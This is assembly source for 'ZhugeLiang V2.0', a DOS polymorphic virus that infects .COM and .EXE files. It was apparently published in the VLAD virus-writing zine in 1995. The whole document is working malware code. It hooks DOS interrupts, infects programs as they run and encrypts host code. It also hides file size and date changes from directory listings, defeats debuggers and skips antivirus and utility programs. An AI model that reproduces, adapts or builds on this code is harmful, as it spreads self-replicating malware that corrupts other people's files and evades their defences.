; ZhugeLiang V2.0
; by
; Zhuge Jin [TPVO]
;
; ZL20 is a polymorphic .COM and .EXE infector. The virus calls int 21h
; with ah=6b, and using its int 2ah hook, converts the function into
; anything it wants. This will fool some AV programs. Even a program
; that calls the original int 21h entrypoint will be stealthed.
; There is anti-debugging code present.
.286
.MODEL TINY
.CODE
org 0000h
vir_start:
int 01h
int 03h
jmp vir_disp
fil_mode db ?
int21h_:
popf
int21h_a:
db 0eah
int21h_ip dw ?
int21h_cs dw ?
oint21h_ip dw ?
oint21h_cs dw ?
int2fh_:
db 0eah
int2fh_ip dw ?
int2fh_cs dw ?
pcb dw ?
dw 0080h
psp_1 dw ?
dw 005ch
psp_2 dw ?
dw 006ch
psp_3 dw ?
handle dw ?
org_time dw ?
org_date dw ?
org_size dw 0002h
dpl:
dpl_ax dw ?
dpl_bx dw ?
dpl_cx dw ?
dpl_dx dw ?
dpl_si dw ?
dpl_di dw ?
dpl_ds dw ?
dpl_es dw ?
dw ?
dw ?
dw ?
tmp_ax dw ?
tmp_bx dw ?
tmp_di dw ?
tmp_es dw ?
sta_sp dw ?
sta_ss dw ?
vir_disp:
mov di,0100h
mov bp,sp
mov si,ss:[bp-06h]
sub si,0003h
mov cx,OFFSET vir_end
push OFFSET start+0100h
cld
repz movsb
ret
start:
mov si,0100h
mov ax,4b0fh
int 21h
mov ds:[si+OFFSET psp_1-OFFSET vir_start],ds
mov ds:[si+OFFSET psp_2-OFFSET vir_start],ds
mov ds:[si+OFFSET psp_3-OFFSET vir_start],ds
xor bx,bx
mov ds,bx
mov bl,21h*04h
mov ax,OFFSET vint21h
xchg ax,ds:[bx]
mov cs:[si+OFFSET int21h_ip-OFFSET vir_start],ax
mov cs:[si+OFFSET oint21h_ip-OFFSET vir_start],ax
mov ax,cs
add ax,0010h
push ax
mov word ptr ds:[bx+28h],OFFSET vint2ah
mov word ptr ds:[bx+28h+02h],ax
xchg ax,ds:[bx+02h]
mov cs:[si+OFFSET int21h_cs-OFFSET vir_start],ax
mov cs:[si+OFFSET oint21h_cs-OFFSET vir_start],ax
mov bl,2fh*04h
mov ax,OFFSET vint2fh
xchg ax,ds:[bx]
mov cs:[si+OFFSET int2fh_ip-OFFSET vir_start],ax
pop ax
xchg ax,ds:[bx+02h]
mov cs:[si+OFFSET int2fh_cs-OFFSET vir_start],ax
call get_org_int21h
cli
mov sp,OFFSET vir_end+0100h
sti
mov ax,6b0dh
mov bx,para_size
call int21h_0100h
xor di,di
mov es,es:[di+2ch]
mov al,00h
mov cx,8000h
get_name:
repnz scasb
cmp al,es:[di]
loopnz get_name
add di,0003h
push es
pop ds
push cs
pop es
mov ax,4b00h
mov bx,OFFSET pcb+0100h
mov dx,di
call int21h_0100h
mov ax,6b10h
call int21h_0100h
push cs
pop ds
mov bx,cs
dec bx
mov es,bx
mov cx,0007h
mov di,0008h
mov si,OFFSET not_file+0102h
repz movsb
mov byte ptr es:[di],00h
push cs
pop es
mov ah,31h
mov dx,para_size
int21h_0100h:
pushf
call dword ptr cs:[oint21h_ip+0100h]
ret
get_org_int21h:
mov di,si
xor ax,ax
mov ds,ax
mov si,ds:[bx+05h]
mov ax,ds:[bx+07h]
mov ds,ax
lodsw
cmp ax,9090h
jnz chk_ent
chk_jmp:
lodsb
cmp al,0ffh
jnz chk_jmp
lodsb
cmp al,2eh
jnz chk_jmp
lodsw
mov si,ax
lodsw
push ax
lodsw
pop si
mov ds,ax
chk_ent:
cmp si,0f000h
jae chk_end
lodsb
cmp al,50h
jnz chk_ent
lodsw
cmp ax,0d88ch
jnz chk_ent
sub si,000bh
mov word ptr ds:[si],1e06h
mov word ptr ds:[si+02h],5755h
mov word ptr ds:[si+04h],5256h
mov word ptr ds:[si+06h],5351h
mov cs:[di+OFFSET oint21h_ip-OFFSET vir_start],si
mov cs:[di+OFFSET oint21h_cs-OFFSET vir_start],ds
chk_int2ah:
cmp si,0f000h
jae chk_end
lodsb
cmp al,0cdh
jnz chk_int2ah
cmp byte ptr ds:[si],2ah
jnz chk_int2ah
inc byte ptr ds:[si]
chk_end:
ret
dir_stealth:
popf
call int21h
pushf
cmp al,0ffh
jz ds_ext
push ax
push bx
push es
mov ah,2fh
call int21h
cmp byte ptr es:[bx],0ffh
jnz ds_noex
add bx,0007h
ds_noex:
mov ax,es:[bx+19h]
shr ah,01h
cmp ah,64h
jb ds_not
sub word ptr es:[bx+1dh],vir_size
ds_not:
pop es
pop bx
pop ax
ds_ext:
popf
retf 0002h
find_stealth:
popf
call int21h
pushf
jc ds_ext
push ax
push bx
push es
mov ah,2fh
call int21h
mov ax,es:[bx+18h]
shr ah,01h
cmp ah,64h
jb ds_not
sub word ptr es:[bx+1ah],vir_size
jmp ds_not
vint21h:
pushf
cmp ah,4ch
jz exit_stealth
cmp ax,4b0fh
jz run_org_prg
cmp ax,4b00h
jz vint21_jmp
test byte ptr cs:fil_mode,02h
jnz dos_int21h
cmp ah,11h
jz dir_stealth
cmp ah,12h
jz dir_stealth
cmp ah,4eh
jz find_stealth
cmp ah,4fh
jz find_stealth
; cmp ah,3fh
; jz read_stealth
cmp ah,40h
jz writ_stealth
cmp ax,4202h
jz size_stealth
cmp ax,5700h
jz date_stealth
dos_int21h:
jmp int21h_
exit_stealth:
mov byte ptr cs:fil_mode,00h
jmp dos_int21h
vint21_jmp:
jmp vint21
run_org_prg:
jmp run_org_com
writ_stealth:
popf
push es
push di
push ax
pushf
call chk_me
jb rs_not
call is_command
jnz rs_not
ws_it:
popf
pop ax
pop di
pop es
mov ax,cx
clc
retf 0002h
size_stealth:
popf
push es
push di
push ax
pushf
call chk_me
jb rs_not
sub dx,vir_size
dec cx
popf
pop ax
pop di
pop es
call int21h
retf 0002h
date_stealth:
popf
push es
push di
push ax
pushf
call chk_me
jb rs_not
call is_command
jz rs_not
ts_it:
popf
pop ax
pop di
pop es
call int21h
pushf
sub dh,11001000b
popf
retf 0002h
;read_stealth:
; popf
; push es
; push di
; push ax
; pushf
; call chk_me
; jb rs_not
rs_it:
add word ptr es:[di+15h],vir_size
popf
pop ax
call int21h
pushf
sub word ptr es:[di+15h],vir_size
popf
pop di
pop es
retf 0002h
rs_not:
popf
pop ax
pop di
pop es
jmp int21h_a
run_org_com:
popf
mov di,0100h
mov si,vir_size+0100h
mov cx,ds:[di+OFFSET org_size-OFFSET vir_start]
push cx
repz movsb
pop cx
mov dx,cx
mov si,0100h
call dec_code
pop ax
pop ax
pop ax
mov di,0100h
cmp word ptr ds:[di],'ZM'
jz run_org_exe
push ds
push di
retf
run_org_exe:
mov ax,ds:[di+08h]
shl ax,04h
sub cx,ax
mov si,ax
add si,di
mov ax,ds
add ax,0010h
add ax,ds:[di+0eh]
mov ss,ax
mov sp,ds:[di+10h]
mov ax,ds
add ax,0010h
add ax,ds:[di+16h]
mov dx,ds:[di+14h]
mov cs:tmp_ax,cx
mov cx,ds:[di+06h]
jcxz no_locate
mov bx,ds:[di+18h]
re_locate:
mov bp,ds:[bx+di]
add es:[bp+si],ax
add bx,0004h
loop re_locate
no_locate:
mov cx,cs:tmp_ax
repz movsb
push ax
push dx
retf
vint21:
push ax
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push cs
pop es
xor bp,bp
mov ah,60h
mov di,OFFSET buffer
mov si,dx
call oint21h
push cs
pop ds
mov si,di
cld
find_00h:
lodsb
cmp al,00h
jnz find_00h
sub si,0004h
lodsw
cmp ax,'OC'
jnz chk_exe_file
lodsb
cmp al,'M'
jnz jmp_ext
jmp infect_file
chk_exe_file:
cmp ax,'XE'
jnz jmp_ext
lodsb
cmp al,'E'
jnz jmp_ext
jmp infect_file
jmp_ext:
jmp vint21_ext
infect_file:
call chk_not_file
jc vint21_ext
mov ax,6b00h
mov dx,di
call oint21h
jc jmp_ext
mov bx,0009h
mov es,bx
push word ptr es:[bx-09h]
push word ptr es:[bx-09h+02h]
mov word ptr es:[bx-09h],OFFSET vint24h
mov word ptr es:[bx-09h+02h],cs
mov word ptr es:[bx-09h+(2bh-24h)*04h],OFFSET vint2ah
mov word ptr es:[bx-09h+(2bh-24h)*04h+02h],cs
mov bx,ax
mov cs:[bp+OFFSET handle-OFFSET vir_start],bx
call get_sft
mov word ptr es:[di+02h],0002h
call it_me
jb not_infect
close_file:
mov ax,6b01h
mov bx,cs:[bp+OFFSET handle-OFFSET vir_start]
call oint21h
mov bx,0009h
mov ds,bx
pop word ptr ds:[bx-09h+02h]
pop word ptr ds:[bx-09h]
vint21_ext:
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
jmp int21h_
not_infect:
cmp word ptr es:[di+13h],0000h
jnz close_file
mov cx,es:[di+11h]
mov cs:[bp+OFFSET org_size-OFFSET vir_start],cx
cmp cx,58000
ja close_file
cmp cx,1000
jb close_file
mov ah,48h
mov bx,1000h
call oint21h
jc close_file
mov ds,ax
push es
push ds
push cx
mov ax,6b02h
mov bx,cs:[bp+OFFSET handle-OFFSET vir_start]
xor dx,dx
call oint21h
jc free_mem
xchg cx,ax
xor si,si
cmp word ptr ds:[si],'ZM'
jnz not_mz
cmp word ptr ds:[si+06h],0010h
ja free_mem
not_mz:
call enc_code
mov es:[di+15h],dx
mov es:[di+17h],dx
not_exe:
push cs
pop ds
mov ah,45h
call oint21h
jc writ_vir
push ax
mov ax,6b01h
call oint21h
pop bx
writ_vir:
mov cs:[bp+OFFSET handle-OFFSET vir_start],bx
mov dx,0b400h
mov ah,0fh
int 10h
cmp al,07h
jz scr_mono
mov dx,0bc00h
scr_mono:
mov es,dx
push di
push bp
mov bx,0100h
mov cx,OFFSET vir_end
xor dx,dx
call sdfe
pop bp
pop di
mov bx,cs:[bp+OFFSET handle-OFFSET vir_start]
mov ax,6b03h
mov cx,vir_size
call oint21h
pop cx
pop ds
mov ax,6b03h
call oint21h
push ds
pop es
mov ah,49h
call oint21h
pop es
call set_date
jmp close_file
free_mem:
pop cx
pop es
mov ah,49h
call oint21h
pop es
jmp close_file
int21h:
pushf
call dword ptr cs:int21h_ip
ret
oint21h:
mov cs:[bp+OFFSET dpl_ax-OFFSET vir_start],ax
mov cs:[bp+OFFSET dpl_bx-OFFSET vir_start],bx
mov cs:[bp+OFFSET dpl_cx-OFFSET vir_start],cx
mov cs:[bp+OFFSET dpl_dx-OFFSET vir_start],dx
mov cs:[bp+OFFSET dpl_si-OFFSET vir_start],si
mov cs:[bp+OFFSET dpl_di-OFFSET vir_start],di
mov cs:[bp+OFFSET dpl_ds-OFFSET vir_start],ds
mov cs:[bp+OFFSET dpl_es-OFFSET vir_start],es
push cs
pop ds
mov ax,5d00h
mov dx,OFFSET dpl
pushf
call dword ptr cs:[bp+OFFSET oint21h_ip-OFFSET vir_start]
ret
int2fh:
pushf
call dword ptr cs:int2fh_ip
ret
vint24h:
xor al,al
iret
ste_not:
mov ax,cs:tmp_ax
mov bx,cs:tmp_bx
mov di,cs:tmp_di
mov es,cs:tmp_es
iret
vint2ah_ext_40h:
cmp bl,6bh*02h
jnz vint2ah_ext
mov bl,3dh
add bl,al
add bl,bl
vint2ah_ext:
iret
vint2ah:
int 2ah
cmp ah,82h
jnz vint2ah_ext
cmp bl,7eh
jnz vint2ah_ext_40h
test byte ptr cs:fil_mode,02h
jnz vint2ah_ext
mov cs:tmp_ax,ax
mov cs:tmp_bx,bx
mov cs:tmp_di,di
mov cs:tmp_es,es
push ds
push si
mov ax,1218h
int 2fh
mov bx,ds:[si+02h]
mov cs:sta_sp,si
mov cs:sta_ss,ds
pop si
pop ds
call chk_me
jb ste_not
call is_command
jz ste_not
ste_it:
add word ptr es:[di+15h],vir_size
push ds
push si
mov si,cs:sta_sp
mov ds,cs:sta_ss
mov ax,OFFSET dos_ret
xchg ds:[si+12h],ax
mov cs:sta_sp,ax
mov ax,cs
xchg ds:[si+14h],ax
mov cs:sta_ss,ax
pop si
pop ds
jmp ste_not
dos_ret:
pushf
push ax
push cx
push dx
push di
push si
push es
jc read_err
call get_sft
sub word ptr es:[di+15h],vir_size
mov si,dx
mov dx,es:[di+11h]
call it_me
jb has_sub
sub dx,vir_size
has_sub:
call dec_code
read_err:
pop es
pop si
pop di
pop dx
pop cx
pop ax
push word ptr cs:sta_ss
push word ptr cs:sta_sp
iret
vint2fh:
pushf
cmp ax,1216h
jnz dos_int2fh
popf
call int2fh
jc v2f_err
pushf
call it_me
jb v2f_sten
push cx
push si
push ds
push es
pop ds
push cs
pop es
mov si,di
mov di,OFFSET buffer+80h
push di
mov cx,0040h
cld
repz movsb
pop di
pop ds
pop si
pop cx
sub byte ptr es:[di+10h],11001000b
sub word ptr es:[di+11h],vir_size
v2f_sten:
popf
v2f_err:
retf 0002h
dos_int2fh:
popf
jmp int2fh_
chk_me:
call get_sft
call it_me
ret
it_me:
push ax
mov ax,es:[di+0fh]
shr ah,01h
cmp ah,64h
pop ax
ret
is_command:
push bx
push ds
mov ah,62h
int 21h
mov ds,bx
mov ax,ds:[0014h]
cmp ax,bx
pop ds
pop bx
ret
get_sft:
push ax
push bx
mov ax,1220h
call int2fh
mov ax,1216h
xor bx,bx
mov bl,es:[di]
call int2fh
mov ax,es:[di+0dh]
mov cs:org_time,ax
mov ax,es:[di+0fh]
mov cs:org_date,ax
pop bx
pop ax
ret
set_date:
push cs
pop ds
mov bx,cs:[bp+OFFSET handle-OFFSET vir_start]
mov ax,5701h
mov cx,cs:[bp+OFFSET org_time-OFFSET vir_start]
mov es:[di+0dh],ax
mov dx,cs:[bp+OFFSET org_date-OFFSET vir_start]
add dh,11001000b
call oint21h
ret
chk_not_file:
std
lodsb
cmp al,'\'
jnz chk_not_file
cld
lodsw
push di
mov di,si
push di
mov si,OFFSET not_file
xor cx,cx
chk_again:
pop di
push di
add si,cx
lodsw
cmp ax,0ffffh
jz chk_fa
xor cx,cx
mov cl,al
repz cmpsb
jnz chk_again
mov cs:[bp+OFFSET fil_mode-OFFSET vir_start],ah
test ah,01h
jz chk_fa
stc
jmp set_stc
chk_fa:
clc
set_stc:
pop di
pop di
ret
not_file db 7,1,'COMMAND'
db 3,1,'IBM'
db 2,1,'TB'
db 6,1,'SETVER'
db 6,1,'MSCDEX'
db 6,2,'CHKDSK'
db 8,2,'SCANDISK'
db 5,3,'XCOPY'
db 6,3,'BACKUP'
db 8,3,'MSBACKUP'
db 5,3,'PKZIP'
db 3,2,'ARJ'
db 3,2,'LHA'
db 3,2,'RAR'
db 5,6,'TELIX'
db 5,6,'COMMO'
db 0ffh,0ffh
enc_code:
lodsb
neg al
xor al,byte ptr cs:org_size
mov ds:[si-01h],al
loop enc_code
ret
dec_code:
push cx
dc_a:
lodsb
xor al,dl
neg al
mov ds:[si-01h],al
loop dc_a
pop cx
ret
include sdfe.e20
ver_msg db ' ZhugeLiang v2.0 '
db ' by Zhuge Jin in Taipei, 1995. '
buffer db 0100h dup (?)
vir_end:
para_size equ (OFFSET vir_end-OFFSET vir_start)/16+17
vir_size equ 4824+1024+128
org vir_size
db 31h,0e2h
END vir_start
- VLAD #5 INDEX -